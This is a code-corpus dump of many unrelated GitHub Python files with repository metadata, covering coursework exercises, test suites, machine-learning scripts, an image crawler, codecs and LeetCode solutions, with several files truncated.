dd57282a6f43709922c5f7cbe9ce63f81e77bcd0 | 414db33a43c50a500741784eea627ba98bb63e27 | /0x0A-python-inheritance/9-rectangle.py | 4092a9005ebb2873185b2c9b324c123b1c9c6344 | [] | no_license | rayraib/holbertonschool-higher_level_programming | 2308ea02bd7f97eae3643e3ce0a6489cc1ad9ff5 | 6b4196eb890ffcb91e541431da9f5f57c5b85d4e | refs/heads/master | 2021-09-14T09:12:26.664653 | 2018-05-11T03:23:12 | 2018-05-11T03:23:12 | 113,070,818 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 746 | py | #!/usr/bin/python3
BaseGeometry = __import__('7-base_geometry').BaseGeometry
'''
subclass of BaseGeometry class
'''
class Rectangle(BaseGeometry):
''' representation of a rectangle'''
def __init__(self, width, height):
'''initialize the object attributes'''
BaseGeometry.integer_validator(s... | [
"[email protected]"
] | |
902b09ed2ee809a19293ec13b3fccd3cf58d2dbf | 6ffd23679939f59f0a09c9507a126ba056b239d7 | /imperative/python/megengine/core/_trace_option.py | 638c142a12249cc9b7381b3c378d5b01f5b5ff9e | [
"LicenseRef-scancode-generic-cla",
"Apache-2.0"
] | permissive | MegEngine/MegEngine | 74c1c9b6022c858962caf7f27e6f65220739999f | 66b79160d35b2710c00befede0c3fd729109e474 | refs/heads/master | 2023-08-23T20:01:32.476848 | 2023-08-01T07:12:01 | 2023-08-11T06:04:12 | 248,175,118 | 5,697 | 585 | Apache-2.0 | 2023-07-19T05:11:07 | 2020-03-18T08:21:58 | C++ | UTF-8 | Python | false | false | 862 | py | # -*- coding: utf-8 -*-
import os
from ._imperative_rt.core2 import set_cpp_use_symbolic_shape
_use_symbolic_shape = False
if os.environ.get("MEGENGINE_USE_SYMBOLIC_SHAPE"):
_use_symbolic_shape = True
_use_xla_backend = False
def use_symbolic_shape() -> bool:
r"""Returns whether tensor.shape returns a ten... | [
"[email protected]"
] | |
6c54d81e4263105997a4b7dbcb57d4d4673fe0e2 | 5d0fe4a9e026234fe15e6c4380355061bb4dac64 | /tests/functional/pages/profile/individual_enter_your_email_and_password.py | 4ed6007a0f1fe073b148c538f8fdceb4a783b69b | [
"MIT"
] | permissive | uktrade/directory-tests | 37e243862da8ac594cf1ea06ade714db5e1aba03 | 39ec6c26203580238e65566a472cbd80916e6726 | refs/heads/master | 2022-08-09T16:58:56.248982 | 2022-08-01T12:25:10 | 2022-08-01T12:25:10 | 71,367,747 | 4 | 3 | MIT | 2022-08-01T12:26:09 | 2016-10-19T14:48:57 | Python | UTF-8 | Python | false | false | 1,702 | py | # -*- coding: utf-8 -*-
"""Profile - Individual - Enter your business email address and set a password"""
from requests import Response, Session
from directory_tests_shared import PageType, Service, URLs
from tests.functional.utils.context_utils import Actor
from tests.functional.utils.request import (
Method,
... | [
"[email protected]"
] | |
905cb8c5f6d0197487ae82ee1d0f00475fb00efe | 2153a7ecfa69772797e379ff5642d52072a69b7c | /library/test/test_compiler/sbs_code_tests/70_class.py | 64ce08233157b32ce3204a302018c8a61bc3d153 | [
"LicenseRef-scancode-unknown-license-reference",
"BSD-3-Clause",
"Python-2.0"
] | permissive | KCreate/skybison | a3789c84541f39dc6f72d4d3eb9783b9ed362934 | d1740e08d8de85a0a56b650675717da67de171a0 | refs/heads/trunk | 2023-07-26T04:50:55.898224 | 2021-08-31T08:20:46 | 2021-09-02T19:25:08 | 402,908,053 | 1 | 0 | NOASSERTION | 2021-09-03T22:05:57 | 2021-09-03T22:05:57 | null | UTF-8 | Python | false | false | 422 | py | # Copyright (c) Facebook, Inc. and its affiliates. (http://www.facebook.com)
class C:
pass
# EXPECTED:
[
LOAD_BUILD_CLASS(0),
LOAD_CONST(Code((1, 0))),
LOAD_CONST('C'),
MAKE_FUNCTION(0),
LOAD_CONST('C'),
CALL_FUNCTION(2),
STORE_NAME('C'),
...,
CODE_START('C'),
LOAD_NAME('__na... | [
"[email protected]"
] | |
ca882b27134e8b7e97382771cc03bef0fcd2a3fe | 242f1dafae18d3c597b51067e2a8622c600d6df2 | /src/1300-1399/1344.angle.clock.py | 8f16b6ea976d0a6986c2e132b2eb2b95f928c1e3 | [] | no_license | gyang274/leetcode | a873adaa083270eb05ddcdd3db225025533e0dfe | 6043134736452a6f4704b62857d0aed2e9571164 | refs/heads/master | 2021-08-07T15:15:01.885679 | 2020-12-22T20:57:19 | 2020-12-22T20:57:19 | 233,179,192 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 429 | py | class Solution:
def angleClock(self, hour: int, minutes: int) -> float:
h, m = hour % 12, minutes % 60
hA, mA = h * 30 + m / 60 * 30, m * 6
dA = abs(hA - mA)
return min(dA, 360 - dA)
if __name__ == '__main__':
solver = Solution()
cases = [
(2, 58),
]
rslts = [solver.angleClock(hour, minut... | [
"[email protected]"
] | |
66ebb027ebb9fcf1674157a1fd4328b8c803a1b6 | 60aa3bcf5ace0282210685e74ee8ed31debe1769 | /base/lib/encodings/cp1253.py | e32862ea0e2b0a2d349861903d7635099bf924b3 | [] | no_license | TheBreadGuy/sims4-ai-engine | 42afc79b8c02527353cc084117a4b8da900ebdb4 | 865212e841c716dc4364e0dba286f02af8d716e8 | refs/heads/master | 2023-03-16T00:57:45.672706 | 2016-05-01T17:26:01 | 2016-05-01T17:26:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,776 | py | import codecs
class Codec(codecs.Codec):
__qualname__ = 'Codec'
def encode(self, input, errors='strict'):
return codecs.charmap_encode(input, errors, encoding_table)
def decode(self, input, errors='strict'):
return codecs.charmap_decode(input, errors, decoding_table)
class IncrementalEnc... | [
"[email protected]"
] | |
82a31547b7df987e69677a23ad29f56ad9a5ccbe | 41c5f7da28b87a3034754254d21791b322e819d8 | /test/test_json_analysis_result_sub_group_all_of.py | e181c4639ce155f9ebebe587db93934f73ee12ae | [] | no_license | MADANA-IO/madana-apiclient-python | 16cb3eb807897903df2a885a94a2c02fc405818a | 40dc21ab43d9565ac3dff86d7270093cce112753 | refs/heads/master | 2023-03-08T05:02:32.616469 | 2021-02-11T10:17:30 | 2021-02-11T10:17:30 | 287,797,297 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,151 | py | # coding: utf-8
"""
madana-api
<h1>API Quickstart Guide</h1> <p>This documentation contains a Quickstart Guide, a few <a href=\"downloads.html\">sample clients</a> for download and information about the available <a href=\"resources.html\">endpoints</a> and <a href=\"data.html\">DataTypes</a> </p>... | [
"[email protected]"
] | |
a3107b0c1a2da9aed5839d1306f79a2aa6a91e03 | 0d2f636592dc12458254d793f342857298c26f12 | /vowel.py | d1da799f259f873b5637804df56c23b3325a671c | [] | no_license | chenpc1214/test | c6b545dbe13e672f11c58464405e024394fc755b | 8610320686c499be2f5fa36ba9f11935aa6d657b | refs/heads/master | 2022-12-13T22:44:41.256315 | 2020-09-08T16:25:49 | 2020-09-08T16:25:49 | 255,796,035 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 136 | py | vowel = ['a', 'e', 'i', 'o', 'u']
word= "milliway"
for letter in word:
if letter in vowel:
print(letter)
| [
"[email protected]"
] | |
c2e4537265eacfee364c3be61266d0a16861c951 | dc39ccc50b7d34e5de84f3cc132c5cc096a32656 | /BASIC/class/attribute.py | 40377cc862a0cdd596c36046d3178d5438bfeccf | [] | no_license | Shukladas1115/Python | 0947aefd62a9ce4c3140360cb7259b031368709c | feb32bc2e2e7df377fc2d92330bfdacb83f31a55 | refs/heads/master | 2022-02-20T04:15:56.036495 | 2019-08-26T16:36:52 | 2019-08-26T16:36:52 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 442 | py | class A(object):
x = 1
class B(A):
pass
class C(A):
pass
print(A.x, B.x, C.x) # 1 1 1
B.x = 2
print(A.x, B.x, C.x) # 1 2 1
A.x = 3
print(A.x, B.x, C.x) # 3 2 3 tại sao vậy?
'''
C doesn’t have its own x property, independent of A.
Thus, references to C.x are in fact references to A.x
C kế thừa... | [
"[email protected]"
] | |
fa36d96624f3655b5258367533c44b0c14db498b | d364123a0655bff7e9d725382934fe2c15b5bfc4 | /Crawler/lianxi/hsimg_test.py | bc62fc7c1c354c4ba3007bd3c78507f7a0a83c1e | [] | no_license | yuan1093040152/SeleniumTest | 88d75361c8419354f56856c326f843a0a89d7ca6 | d155b98702bc46c174499042b43257696b861b5e | refs/heads/master | 2023-08-31T15:00:25.415642 | 2023-08-30T09:26:42 | 2023-08-30T09:26:42 | 227,269,300 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,271 | py | #coding=utf-8
'''
Created on 2018年7月15日
@author: kai.yangf
'''
import requests,re,time
from multiprocessing import pool
from requests.exceptions import RequestException
from threading import Thread
def get_one_page(url):
try:
response = requests.get(url)
html = response.text
if response... | [
"[email protected]"
] | |
f4c38240821bf96e65612f342986cf276694f90d | 34578a08451dc124f02fbba92a219da3347059cd | /.history/tools/views_20190502130213.py | 5ef8462e7964c7373832387076323b91f3acac43 | [] | no_license | gwjczwy/CTF-Exercises | b35d938b30adbc56c1b6f45dc36cea1421c702fb | c2d5c47f5047b1601564453e270ce50aad7f56fc | refs/heads/master | 2020-05-25T23:51:26.190350 | 2019-05-22T13:18:59 | 2019-05-22T13:18:59 | 188,042,255 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,399 | py | from django.shortcuts import render
from django.views.decorators.csrf import csrf_exempt
from django.http import HttpResponse
from django.contrib.auth.decorators import login_required
from json import dumps
from .models import Url,Money
import time
#########################
#配置变量
sourcePath=r'C:\Users\arnoux\Desktop\... | [
"[email protected]"
] | |
31f64762cb63b1fbd9b34933a297a9ed4438eddb | ffad0de28109d0156baba92b5793e6d8142ced7c | /server/channels_list_test.py | 84b54743e63a3c4deed2798a8d9a3f3a3ced6293 | [] | no_license | nomii15/COMP1531-server | 823753e11b78619b7f67c32d9f5f1f39d839b6f8 | af00ba90cdf2fa1ce5170a7a2bf506bfe550bbd7 | refs/heads/master | 2021-07-17T08:26:57.074709 | 2019-11-17T07:29:44 | 2019-11-17T07:29:44 | 228,518,923 | 1 | 0 | null | 2021-01-05T18:13:55 | 2019-12-17T02:47:02 | Python | UTF-8 | Python | false | false | 1,550 | py | import pytest
from channels_list import channels_list
from auth_register import auth_register
from channels_create import channels_create
'''
Provide a list of all channels (and their associated details) that the authorised user is part of
'''
def test_list_one():
#setup
register1 = auth_register("validemail... | [
"[email protected]"
] | |
a4aa71959c2f1c3dce79168ddb51c85bfaa1899c | cdee5cc20a5085b40f8555e7199fe19403e005c3 | /experimental/graphicalClassification/MultiClassMajorityVote.py | e02402ed226105cb3faf7d5e5aab05424c9616b6 | [
"Apache-2.0"
] | permissive | visenger/aggregation | 1e908d11df701e900d94d6545f3cc35a6c7dc915 | 82dce87eaaf14b0b2bedd29fc82c026fda2a0138 | refs/heads/master | 2020-03-19T03:08:52.140663 | 2017-06-21T10:32:27 | 2017-06-21T10:32:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 638 | py | #!/usr/bin/env python
from __future__ import print_function
__author__ = 'greghines'
class MultiClassMajorityVote:
def __init__(self,subjectNodes,userNodes):
self.subjectNodes = subjectNodes
self.userNodes = userNodes
self.alpha = 0.6
def __classify__(self,attributeList):
for a... | [
"[email protected]"
] | |
a2e495fdc47015c860dc2e716dfa6d8a401a6538 | 0b40232eb2395c27353c892ef4ccb5c604bb75be | /Array/third_max.py | 174029680ba012a49f9c34cb0d61196da859ba00 | [] | no_license | HareshNasit/LeetCode | 971ae9dd5e4f0feeafa5bb3bcf5b7fa0a514d54d | 674728af189aa8951a3fcb355b290f5666b1465c | refs/heads/master | 2021-06-18T07:37:40.121698 | 2021-02-12T12:30:18 | 2021-02-12T12:30:18 | 168,089,751 | 5 | 0 | null | null | null | null | UTF-8 | Python | false | false | 366 | py | def thirdMax(self, nums):
"""
https://leetcode.com/problems/third-maximum-number/submissions/
:type nums: List[int]
:rtype: int
"""
nums_set = set(nums)
nums_list = list(nums_set)
nums_list.sort(reverse = True)
if len(nums_list) > 2:
re... | [
"[email protected]"
] | |
39ddeb9ad873ed4901adbf3640031f907f3503a3 | 2b5bc632859ca01b6b2feae6186b1314ed8c5187 | /everpad/provider/daemon.py | 5b6b49be3c92f2d0a2ee5e6669c92c7f6b8189b9 | [] | no_license | mcardillo55/everpad | c64e2d35bd4ccceff901d9720030dbb8adfcef56 | ab6271a5b73eedf81d0c31e351e567282dbd6685 | refs/heads/master | 2020-12-25T05:55:05.811394 | 2012-12-19T03:36:25 | 2012-12-19T03:36:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,175 | py | import sys
sys.path.insert(0, '../..')
from everpad.provider.service import ProviderService
from everpad.provider.sync import SyncThread
from everpad.provider.tools import set_auth_token, get_db_session
from everpad.tools import get_auth_token, print_version
from everpad.provider import models
from PySide.QtCore import... | [
"[email protected]"
] | |
13f9fc971c3c8582a7f8e5715f7b253fbbd05b76 | 17ca5bae91148b5e155e18e6d758f77ab402046d | /analysis_ACS/CID3570/first_analysis/cut_PSFs_in_analysis.py | 618268eb935438571ce91984e37bd80070f991f4 | [] | no_license | dartoon/QSO_decomposition | 5b645c298825091c072778addfaab5d3fb0b5916 | a514b9a0ad6ba45dc9c3f83abf569688b9cf3a15 | refs/heads/master | 2021-12-22T19:15:53.937019 | 2021-12-16T02:07:18 | 2021-12-16T02:07:18 | 123,425,150 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,011 | py | #!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Created on Wed Oct 31 13:54:02 2018
@author: Dartoon
"""
import numpy as np
import matplotlib.pyplot as plt
from matplotlib.colors import LogNorm
import sys
sys.path.insert(0,'../../py_tools')
from cut_image import cut_image, cut_center_bright, save_loc_png, grab_pos
... | [
"[email protected]"
] | |
08de3983cade375a46349f7de656f9ca3a921a9e | 89b45e528f3d495f1dd6f5bcdd1a38ff96870e25 | /PythonCrashCourse/chapter_06/exercise6_05.py | b03a04f3a086ec1337414ecd27d147eb1ba55d24 | [] | no_license | imatyukin/python | 2ec6e712d4d988335fc815c7f8da049968cc1161 | 58e72e43c835fa96fb2e8e800fe1a370c7328a39 | refs/heads/master | 2023-07-21T13:00:31.433336 | 2022-08-24T13:34:32 | 2022-08-24T13:34:32 | 98,356,174 | 2 | 0 | null | 2023-07-16T02:31:48 | 2017-07-25T22:45:29 | Python | UTF-8 | Python | false | false | 660 | py | #!/usr/bin/env python3
rivers = {
'amazon': 'brasil',
'nile': 'egypt',
'mississippi': 'usa',
}
for river, country in rivers.items():
if river == 'mississippi':
print("The " + river.title() + " runs through " + country.upper() + ".")
else:
print("The " + river.title() + " runs t... | [
"[email protected]"
] | |
68a5556339d6c4ba6f854be0cda3f296574eaf67 | 5981fc46a2e033b1c8b3f49449ee55c3dbcc17c6 | /allopathy/views.py | ec56988bb3024a45ff6d4c154ecd36f652af9285 | [] | no_license | shamitlal/Medical-Website | 619ad0aa18dc69fe13cb5850d4de6a177d41d6ca | 17d3f1387c65f5bda547894d002ef22143484158 | refs/heads/master | 2021-01-13T14:50:44.216726 | 2016-12-14T19:03:25 | 2016-12-14T19:03:25 | 76,488,492 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 148 | py | from django.shortcuts import render
# Create your views here.
def allopathy(request):
return render(request, 'allopathy/allopathy.html', {})
| [
"[email protected]"
] | |
806594d6287d004b7f59fd97bde8ccda5942dc4a | 17d531819123ea09fef201353efcbee4e8ff8097 | /reduce/owner/permissions.py | 7566e4734a5b33e2760e0341428f1d01cee25dce | [] | no_license | showmethepeach/Re.duce | 07a00463c02c572d6e96e177ea0ef5e6e615c2ad | d1ca88ef2256683e0ef51f12c0b6ec747fdda24c | refs/heads/master | 2021-08-24T01:10:51.920406 | 2017-10-26T15:53:22 | 2017-10-26T15:53:22 | 104,641,211 | 0 | 0 | null | 2017-11-16T06:15:53 | 2017-09-24T12:11:28 | Python | UTF-8 | Python | false | false | 290 | py | from rest_framework import permissions
class IsOwner(permissions.BasePermission):
"""
OWNER에게만 쓰기, 읽기 허용
"""
def has_permission(self, request, view):
if request.user.is_authenticated and request.user.owner is not None:
return True
| [
"[email protected]"
] | |
b99ab818fca8289648830abc2a851b6e7323a5e5 | 2e60017779c5c286629ab5a3a7aeb27a6b19a60b | /python/2017day19part2.py | 7f09c5b24ce6b8bf021a566185e157549778341b | [] | no_license | jamesjiang52/10000-Lines-of-Code | f8c7cb4b8d5e441693f3e0f6919731ce4680f60d | 3b6c20b288bad1de5390ad672c73272d98e93ae0 | refs/heads/master | 2020-03-15T03:50:38.104917 | 2018-05-07T04:41:52 | 2018-05-07T04:41:52 | 131,952,232 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,680 | py | # -*- coding: utf-8 -*-
"""
Created on Tue Dec 19 13:21:23 2017
@author: James Jiang
"""
all_lines = [line.rstrip('\n') for line in open('Data.txt')]
all_lines_chars = []
for i in range(len(all_lines)):
chars = [j for j in all_lines[i]]
all_lines_chars.append(chars)
index_list = 0
index_all = 0
for i i... | [
"[email protected]"
] | |
a1912ffe7b983cce6c3ec5119d89a01a0a747635 | fd02e8924ba325f2a62bbf97e460740a65559c74 | /PythonStart/0722Python/循环.py | 6e97b5c0cfd955e8823bf5ef1a968b1dc63d9ef4 | [] | no_license | ShiJingChao/Python- | 51ee62f7f39e0d570bdd853794c028020ca2dbc2 | 26bc75c1981a1ffe1b554068c3d78455392cc7b2 | refs/heads/master | 2020-07-08T00:05:16.532383 | 2019-10-14T15:19:49 | 2019-10-14T15:19:49 | 203,512,684 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 199 | py | # for i in range(1, 1001):
# print("第%d" % i, "次hello word", end=',')
# i=1
# while i < 100:
# print(i, end=" ")
# i += 1
a = 1100
b = 2255
print(a & b)
c = 0b100011001111
print(a&c) | [
"[email protected]"
] | |
c7e32b7956006589585393f647556ed9c81dfb10 | 7f25740b1ef47edc24db1a3618b399959b073fe1 | /1105_08_closer.py | 60b915e8ee1fc7296456e8dbffab48f45dbbce39 | [] | no_license | pjh9362/PyProject | b2d0aa5f8cfbf2abbd16232f2b55859be50446dc | 076d31e0055999c1f60767a9d60e122fb1fc913e | refs/heads/main | 2023-01-09T12:12:06.913295 | 2020-11-07T15:32:03 | 2020-11-07T15:32:03 | 306,814,117 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 335 | py | '''
x = 10 #전역 변수
def foo():
print(x) #전역 변수 출력
foo()
print(x) #전역 변수 출력
'''
def foo():
x = 10 # foo의 지역 변수
print(x) # foo의 지역 변수 출력
foo()
print(x) # 에러. foo의 지역 변수는 출력할 수 없음
| [
"[email protected]"
] | |
96d43d8fa24fe2bf0141da26ab1de903a5a6164a | 6d3c865ce6d9c416d8d11e91d6571a5154b036cf | /js_vacancies/apps.py | c28e61b96619b705fa4509492f9bf1a51fea5e6d | [] | no_license | compoundpartners/js-vacancies | 2cc94c842df980be177c6fa64b3879b5dcc50bbc | 175d9f3673c7b002db5c0ea550bb0f29638b7cbb | refs/heads/master | 2021-07-17T05:41:29.800636 | 2020-07-07T14:25:28 | 2020-07-07T14:25:28 | 178,962,329 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 152 | py | # -*- coding: utf-8 -*-
from django.apps import AppConfig
class Vacancies(AppConfig):
name = 'js_vacancies'
verbose_name = 'Vacancies'
| [
"[email protected]"
] | |
4f596c420101e3d0cb7db56aec280d763311ef13 | 6f04a6ef99c581ed2f0519c897f254a7b63fb61d | /rastervision/data/vector_source/default.py | 3946d67b4fa693f28e9a6590c44f1eadb29e48b8 | [
"LicenseRef-scancode-generic-cla",
"Apache-2.0"
] | permissive | dgketchum/raster-vision | 18030c9a8bfe99386aa95adbf8e3ec51d204947f | fe74bef30daa5821023946576b00c584ddc56de8 | refs/heads/master | 2020-08-30T13:56:08.598240 | 2019-11-03T17:38:33 | 2019-11-03T17:38:33 | 218,400,435 | 3 | 1 | NOASSERTION | 2019-10-29T23:09:57 | 2019-10-29T23:09:57 | null | UTF-8 | Python | false | false | 1,230 | py | from abc import (ABC, abstractmethod)
import os
import rastervision as rv
class VectorSourceDefaultProvider(ABC):
@staticmethod
@abstractmethod
def handles(s):
"""Returns True of this provider is a default for this string"""
pass
@abstractmethod
def construct(s):
"""Const... | [
"[email protected]"
] | |
e33911f4ff39e954282be6c971e468995f91606c | 0d32e3819606c3fb6820d0cd5f5097db3b0d3dd4 | /HW3/sarsa_mountain_car.py | 0d4789ce9c45fd1092146fe290050525440869d0 | [] | no_license | IanCBrown/COMP5600 | e8e06b2a8e3bde0acc6897adb2396a57a2811f0a | ef454c009d6fd5eec50ceec5a8283a7c6d81d097 | refs/heads/master | 2020-08-02T13:20:41.024681 | 2019-12-09T03:53:37 | 2019-12-09T03:53:37 | 211,366,293 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 6,189 | py | import math
import numpy as np
import matplotlib
matplotlib.use("TkAgg")
from matplotlib import pyplot as plt
import gym
from gym import spaces
from gym.utils import seeding
# Resources:
# https://en.wikipedia.org/wiki/Mountain_car_problem
# https://towardsdatascience.com/getting-started-with-reinforcement-learning-... | [
"[email protected]"
] | |
e45a01330d9e90fa76dea147d9fc060e42d10c77 | 9044b440bed2b8407ed9e04f7fb9d3d2a7593136 | /vision/classification/slim/image_models/finetune/train.py | b15420b6bf71de14a447e1b40980949e6c95830b | [] | no_license | xuzhezhaozhao/ai | d4264f5d15cc5fa514e81adb06eb83731a0ca818 | 925cbd31ad79f8827e2c3c706f4b51910f9f85d1 | refs/heads/master | 2022-01-22T07:04:29.082590 | 2022-01-17T06:49:39 | 2022-01-17T06:49:39 | 136,691,051 | 5 | 4 | null | null | null | null | UTF-8 | Python | false | false | 5,638 | py | #! /usr/bin/env python
# -*- coding=utf8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import tensorflow as tf
import input_data
import hook
import build_model_fn
def build_estimator(opts):
"""Build estimator."""
num_samples_per_epoch = l... | [
"[email protected]"
] | |
b2e0391d750efe19f614deb8c2bd1631da82841d | 5916383e8d3df886edd20ac00ce9706a78078f56 | /飞机大战/v2/world.py | 9e05cd9b131661fae9882e44e040079213137409 | [] | no_license | sczhan/wode | 556154e8ccaa9192ea257bc88df3c5e4b268f88e | af4c721d0cedfdd2fe01dd681539724d1d64c378 | refs/heads/master | 2021-07-06T22:26:34.465708 | 2020-09-04T18:56:38 | 2020-09-04T18:56:38 | 181,295,279 | 1 | 0 | null | 2019-09-09T16:30:00 | 2019-04-14T10:53:57 | Python | UTF-8 | Python | false | false | 1,656 | py |
import tkinter
"""
蜜蜂从上向下运动
可以通过键盘左右控制
"""
step = 0 # 计算器,计算一个走了多少步
direction = (1, 1)
x = 0
y = 10
def set_right(e):
"""
:param e:
:return:
"""
global x
x += 20
def set_left(e):
"""
:param e:
:return:
"""
global x
x -= 20
root_window = tkinter.Tk()
root_windo... | [
"[email protected]"
] | |
944dd21d731631667b2b61b7df4bbb9c9272ea4d | f0d6efe035d4c2ed1ea6bb6d1d5a613b8630a025 | /lib/jsonrpc/flexjsonrpc/__init__.py | 53ece394443611d381a3d2a3a98aed5682669d8f | [
"BSD-2-Clause-Views",
"BSD-3-Clause"
] | permissive | bemoss/BEMOSS3.5 | d24c1c5587e5081092cc97250db45645363da4e4 | 75a09bc5d0a2ec0ae994ac900a93dc027b527860 | refs/heads/master | 2021-08-15T23:05:40.661118 | 2021-03-29T20:28:14 | 2021-03-29T20:28:14 | 91,000,462 | 81 | 38 | NOASSERTION | 2021-03-29T20:29:54 | 2017-05-11T16:25:43 | Python | UTF-8 | Python | false | false | 2,921 | py | # -*- coding: utf-8 -*- {{{
# vim: set fenc=utf-8 ft=python sw=4 ts=4 sts=4 et:
# Copyright (c) 2013, Battelle Memorial Institute
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# 1. Redistri... | [
"[email protected]"
] | |
de387f75b9153d81353f74324c32842675a55b8c | 888e79392cb660be5799cc5bd25d76bcfa9e2e2c | /doctorus/doctorus/doctype/actividad/test_actividad.py | 64e868e23ae78de54542b56cedaaeb515a1bd9a4 | [
"MIT"
] | permissive | Nirchains/doctorus | 269eadee5754612c521d1c6193d5fe7bbfdb3b8a | 38d39270742dfdae6597a06713952df01a2c3e9d | refs/heads/master | 2020-03-17T07:09:30.046005 | 2019-05-08T06:51:50 | 2019-05-08T06:51:50 | 133,386,354 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 216 | py | # -*- coding: utf-8 -*-
# Copyright (c) 2018, HISPALIS DIGITAL and Contributors
# See license.txt
from __future__ import unicode_literals
import frappe
import unittest
class TestActividad(unittest.TestCase):
pass
| [
"[email protected]"
] | |
b2595d9eccaf22427e7e16962a002d011843363f | c2df9e04adec78e789d1fbdb0711c45e5b9263a7 | /venv/Lib/site-packages/matplotlib/tests/test_texmanager.py | d24f7dc27a562a23298a3978078f1dbbcabf9e93 | [
"MIT",
"BSD-3-Clause"
] | permissive | AdarshSai/Final_Project | 433009a2f416e894ee3be85cd9317cb8e8df5516 | f966834ca72dd232102ed500ef47ef2b3bdbed5b | refs/heads/main | 2023-01-23T12:21:41.342074 | 2020-11-19T22:24:15 | 2020-11-19T22:24:15 | 308,898,012 | 0 | 1 | MIT | 2020-11-19T22:24:17 | 2020-10-31T14:19:58 | Python | UTF-8 | Python | false | false | 475 | py | import matplotlib.pyplot as plt
from matplotlib.texmanager import TexManager
def test_fontconfig_preamble():
"""
Test that the preamble is included in _fontconfig
"""
plt.rcParams['text.usetex'] = True
tm1 = TexManager()
font_config1 = tm1.get_font_config()
plt.rcParams['tex... | [
"[email protected]"
] | |
3b600461905bbc4961263bfe2745dd295cc11579 | d9296d3b420d8f5c1aeca094d00dd6bc38a3d57d | /read_statistics/migrations/0001_initial.py | ea8634dbdab68cbb44d0ce86241b1fce182ee74d | [] | no_license | Anthony88888/mysite | 57f5f40530886b12cf1364c10c6206983b022c6c | 7130715ef3acac054b96fa22dcf19fec1f31e019 | refs/heads/master | 2023-01-09T12:15:11.720225 | 2020-10-25T14:48:35 | 2020-10-25T14:48:35 | 305,168,092 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 776 | py | # Generated by Django 2.0.13 on 2020-10-06 16:27
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
('contenttypes', '0002_remove_content_type_name'),
]
operations = [
migrations.CreateMod... | [
"[email protected]"
] | |
503a11282b2b012d89e3014060423162487ba9a6 | fec863b67ec1ae65da7111bd8c77d0ab2ef1f6ce | /movie recommendation system/.history/model3_20210430162616.py | ef78677ec57da3e3bcb5a7edf1bc1dcf42a79f03 | [] | no_license | kannan768/movie-recommendation-system | e6cf71620e25a0185fed3b37896137f1f39b0801 | 7460d440d44e77390e459ab10c535b6971c9c3ab | refs/heads/main | 2023-05-14T02:21:50.930672 | 2021-06-09T05:02:30 | 2021-06-09T05:02:30 | 375,225,316 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,918 | py | #item-item filtering
#colloborative filtering
from math import sqrt
import pandas as pd
import numpy as np
import seaborn as sns
from matplotlib import pyplot as plt
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics.pairwise import linear_kernel
from sklearn.metrics import pairwise_distan... | [
"[email protected]"
] | |
a48974d41c1667c0b092f366d4efcc8a8d480fcd | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_248/ch119_2020_03_30_20_53_23_088219.py | f49b4da0a032fcc39a7720976214d6d9206f89d1 | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 165 | py | lista[0]*n
lista[0]=1
t=0
while t<n:
lista[t+1]=lista[t]*x/n
t+=1
def calcula_euler(lista,n):
soma_das_notas = sum(lista)
print(soma_das_notas)
| [
"[email protected]"
] | |
57b176a71b273a1c9636c541ba74fd7a62612b4b | ebd5c4632bb5f85c9e3311fd70f6f1bf92fae53f | /PORMain/panda/direct/extensions/NurbsCurveEvaluator-extensions.py | 86eb757f5c5e803e4e77288108ddd26264177ebb | [
"BSD-3-Clause",
"BSD-2-Clause"
] | permissive | BrandonAlex/Pirates-Online-Retribution | 7f881a64ec74e595aaf62e78a39375d2d51f4d2e | 980b7448f798e255eecfb6bd2ebb67b299b27dd7 | refs/heads/master | 2020-04-02T14:22:28.626453 | 2018-10-24T15:33:17 | 2018-10-24T15:33:17 | 154,521,816 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 799 | py |
"""
NurbsCurveEvaluator-extensions module: contains methods to extend
functionality of the NurbsCurveEvaluator class
"""
def getKnots(self):
"""Returns the knot vector as a Python list of floats"""
knots = []
for i in xrange(self.getNumKnots()):
knots.append(sel... | [
"[email protected]"
] | |
e3968b5a6ee4acfc5472f3331048077d2290fe32 | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_203/78.py | 29bc91b6b0a4fa993c5a99a015c4bc7188f4154e | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,130 | py | #!/usr/bin/env python2
import itertools
def solve_row(prev_row, row):
